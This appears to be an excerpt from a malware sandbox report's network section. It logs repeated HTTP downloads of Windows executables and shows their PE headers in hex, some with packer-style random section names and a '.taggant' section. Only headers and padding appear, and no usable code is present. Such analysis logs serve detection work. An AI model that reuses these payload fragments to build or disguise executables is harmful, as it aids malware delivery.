00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 23:39:05 GMTContent-Type: application/octet-streamContent-Length: 2750464Last-Modified: Thu, 31 Oct 2024 23:00:11 GMTConnection: keep-aliveETag: "67240bfb-29f800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2a 00 00 04 00 00 21 1f 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 69 74 6f 6b 71 65 6f 73 00 a0 29 00 00 a0 00 00 00 98 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 71 74 6e 74 68 6d 70 00 20 00 00 00 40 2a 00 00 04 00 00 00 d2 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2a 00 00 22 00 00 00 d6 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 23:39:05 GMTContent-Type: application/octet-streamContent-Length: 2750464Last-Modified: Thu, 31 Oct 2024 23:00:11 GMTConnection: keep-aliveETag: "67240bfb-29f800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2a 00 00 04 00 00 21 1f 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 69 74 6f 6b 71 65 6f 73 00 a0 29 00 00 a0 00 00 00 98 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 71 74 6e 74 68 6d 70 00 20 00 00 00 40 2a 00 00 04 00 00 00 d2 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2a 00 00 22 00 00 00 d6 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 23:39:10 GMTContent-Type: application/octet-streamContent-Length: 888832Last-Modified: Sun, 27 Oct 2024 06:45:44 GMTConnection: keep-aliveETag: "671de198-d9000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ab 02 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 2e 00 ec 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8a cf 01 00 00 10 00 00 00 d0 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 08 d1 00 00 00 e0 01 00 00 d2 00 00 00 d4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c bd 2b 00 00 c0 02 00 00 9e 0a 00 00 a6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 3e 4b 00 00 00 80 2e 00 00 4c 00 00 00 44 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 23:39:13 GMTContent-Type: application/octet-streamContent-Length: 1968128Last-Modified: Thu, 31 Oct 2024 23:36:29 GMTConnection: keep-aliveETag: "6724147d-1e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 20 4e 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 4e 00 00 04 00 00 8f dc 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc 0a 4e 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac 0a 4e 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2c 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 6f 64 6b 73 63 63 62 00 f0 1a 00 00 20 33 00 00 ec 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 65 6f 6a 71 62 6b 7a 00 10 00 00 00 10 4e 00 00 04 00 00 00 e2 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 4e 00 00 22 00 00 00 e6 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 23:39:27 GMTContent-Type: application/octet-streamContent-Length: 2750464Last-Modified: Thu, 31 Oct 2024 23:00:11 GMTConnection: keep-aliveETag: "67240bfb-29f800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2a 00 00 04 00 00 21 1f 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 69 74 6f 6b 71 65 6f 73 00 a0 29 00 00 a0 00 00 00 98 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 71 74 6e 74 68 6d 70 00 20 00 00 00 40 2a 00 00 04 00 00 00 d2 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2a 00 00 22 00 00 00 d6 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 23:39:37 GMTContent-Type: application/octet-streamContent-Length: 1968128Last-Modified: Thu, 31 Oct 2024 23:36:29 GMTConnection: keep-aliveETag: "6724147d-1e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 20 4e 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 4e 00 00 04 00 00 8f dc 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc 0a 4e 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac 0a 4e 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2c 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 6f 64 6b 73 63 63 62 00 f0 1a 00 00 20 33 00 00 ec 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 65 6f 6a 71 62 6b 7a 00 10 00 00 00 10 4e 00 00 04 00 00 00 e2 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 4e 00 00 22 00 00 00 e6 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 23:39:49 GMTContent-Type: application/octet-streamContent-Length: 2750464Last-Modified: Thu, 31 Oct 2024 23:00:11 GMTConnection: keep-aliveETag: "67240bfb-29f800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2a 00 00 04 00 00 21 1f 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 69 74 6f 6b 71 65 6f 73 00 a0 29 00 00 a0 00 00 00 98 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 71 74 6e 74 68 6d 70 00 20 00 00 00 40 2a 00 00 04 00 00 00 d2 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2a 00 00 22 00 00 00 d6 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 